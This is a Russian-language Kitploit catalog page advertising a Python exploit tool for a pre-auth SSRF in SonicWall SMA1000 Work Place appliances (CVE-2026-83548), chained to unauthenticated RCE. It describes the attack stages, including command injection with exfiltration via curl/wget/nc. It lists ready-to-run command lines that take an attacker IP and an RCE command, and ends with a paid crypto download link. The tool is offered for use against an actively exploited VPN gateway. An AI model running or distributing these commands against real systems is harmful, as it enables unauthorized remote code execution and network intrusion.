Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-83548 — Однофайловый инструмент на Python, который выполняет фингерпринтинг устройств SonicWall SMA1000 Work Place, проверяет и подтверждает pre-auth SSRF (CVE-2026-83548) через out-of-band-перехват и выстраивает цепочку до RCE. | Kitploit
Инструменты/GitHubGitHub/maxprog-svg/cve-2026-83548
РазведкаСканеры уязвимостейЭксплуатацияЭксплуатация веб-приложенийПост-эксплуатацияТестирование на ПроникновениеТроян Удаленного Доступа
GitHubmaxprog-svg/cve-2026-83548

CVE-2026-83548

Однофайловый инструмент на Python, который выполняет фингерпринтинг устройств SonicWall SMA1000 Work Place, проверяет и подтверждает pre-auth SSRF (CVE-2026-83548) через out-of-band-перехват и выстраивает цепочку до RCE.

Репозиторий
211 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-83548 — Pre-auth SSRF в SonicWall SMA1000 Work Place

Однофайловый инструмент (Python 3, только стандартная библиотека, без зависимостей) для оценки и эксплуатации SSRF до аутентификации в интерфейсе Work Place устройств SonicWall SMA1000 (6210 / 7210 / 8200v), включая оппортунистическую цепочку до RCE без аутентификации через CVE-2026-83549.

Уязвимость

CVECVE-2026-83548 (SSRF, CWE-918/CWE-441), CVSS 10.0
ЦепочкаCVE-2026-83549 — инъекция команд ОС в AMC (после аутентификации), обходится через SSRF
МеханизмИнтерфейс Work Place ведёт себя как непредусмотренный прямой прокси: устройство перенаправляет сформированные запросы к внутренним ресурсам (включая AMC), используя своё привилегированное сетевое положение, при этом аутентификация не требуется ни на одном этапе
ЗатронутоSMA1000 ≤ 12.4.3-03453 и ≤ 12.5.0-02835
Исправлено12.4.3-03526 / 12.5.0-02952 (уведомление SonicWall SNWLID-2026-0016)
СтатусАктивно эксплуатируется в реальных атаках; в CISA KEV с 2026-09-02; обходного решения нет — только установка патча

Что делает инструмент (этапы)

  • [A] Фингерпринтинг + состояние патча — GET-запрос только для чтения к корню портала Work Place: баннер Server: SMA/*, ресурсы __extraweb__, версия из ссылок справки; классификация относительно исправленных сборок (PATCHED / AFFECTED / POTENTIALLY_AFFECTED / NOT_SMA1000).
  • [B] Проверка SSRF-векторов — тестирует набор кандидатных векторов срабатывания SSRF (включая путь ретрансляции /cgi-bin/ и форму прямого прокси «абсолютный URI как путь») и оценивает аномалии относительно базовой линии: изменение кода состояния, разница задержки, новые заголовки ответа, разница тела. Векторы, заданные оператором, принимаются через --vector (можно повторять).
  • [C] Подтверждение по внешнему каналу — поднимает локальный слушатель для перехвата и направляет на него лучший вектор. Перехваченный запрос (метод/заголовки/переданный User-Agent) доказывает, что устройство перенаправило запрос — это реальная уязвимость, а не артефакт тайминга.
  • [D] Цепочка RCE (CVE-2026-83549) — оппортунистическая попытка инъекции команд против AMC через подтверждённую SSRF-ретрансляцию, с эксфильтрацией маркера через curl/wget/nc. Для подтверждения требуется перехват по внешнему каналу.

Быстрый старт

# Fingerprint / patch-state only (read-only)
python3 exploit_cve_2026_83548.py --fingerprint-only vpn.example.com

# Full pass: vector probing + out-of-band SSRF confirmation
python3 exploit_cve_2026_83548.py --listen --attacker-ip <your_visible_IP> \
    --oob-timeout 5 vpn.example.com

# + RCE chain attempt (default command: id)
python3 exploit_cve_2026_83548.py --listen --attacker-ip <your_visible_IP> --rce \
    --rce-cmd 'id' vpn.example.com

# Known vector (bypasses the default candidate set), JSON report
python3 exploit_cve_2026_83548.py --json --skip-probe \
    --vector 'POST:/cgi-bin/:url={T}' --listen --attacker-ip <your_visible_IP> \
    -k -t 10 203.0.113.10

# Multiple targets in sequence (exit code = worst verdict)
python3 exploit_cve_2026_83548.py --listen --attacker-ip <your_visible_IP> \
    vpn-a.example.com vpn-b.example.com

--attacker-ip — IP-адрес, с которого устройство должно иметь возможность достучаться до вашего слушателя захвата (127.0.0.1 для локальных проверок; сетевой адрес плюс проброс порта для удалённых). Без него инструмент угадывает локальный IP, что часто не работает внутри контейнеров/VPN-конфигураций.

Коды выхода

КодЗначение
0пропатчено / не подвержено
1подвержено по версии, либо SSRF подтверждён, либо затронутая линейка прошивки с неопределённой точной сборкой
2неаутентифицированный RCE подтверждён (цепочка сработала)
3цель не является порталом SMA1000 Work Place
4ошибка соединения/прочая ошибка

Ограничения (прочтите это)

  1. Этап D является оппортунистическим: подтверждение требует внеполосного захвата; его отсутствие не является опровержением.
  2. Внеполосный захват требует, чтобы устройство могло достучаться до вашего слушателя (тот же L2 / проброс порта / VPN). Тайм-аут захвата ≠ опровергнутый SSRF.
  3. Вердикт по версии: устройство обычно раскрывает извне только свою линейку прошивки (например, 12.5.0), а не точную сборку хотфикса — типичный результат POTENTIALLY_AFFECTED, что требует подтверждения сборки на самом устройстве.
  4. Этапы B–D по своей природе отправляют запросы на цель; используйте только против хостов, которыми вы владеете или которые вам явно разрешено тестировать.

https://satoshidisk.com/pay/CShhL9

Скачать инструмент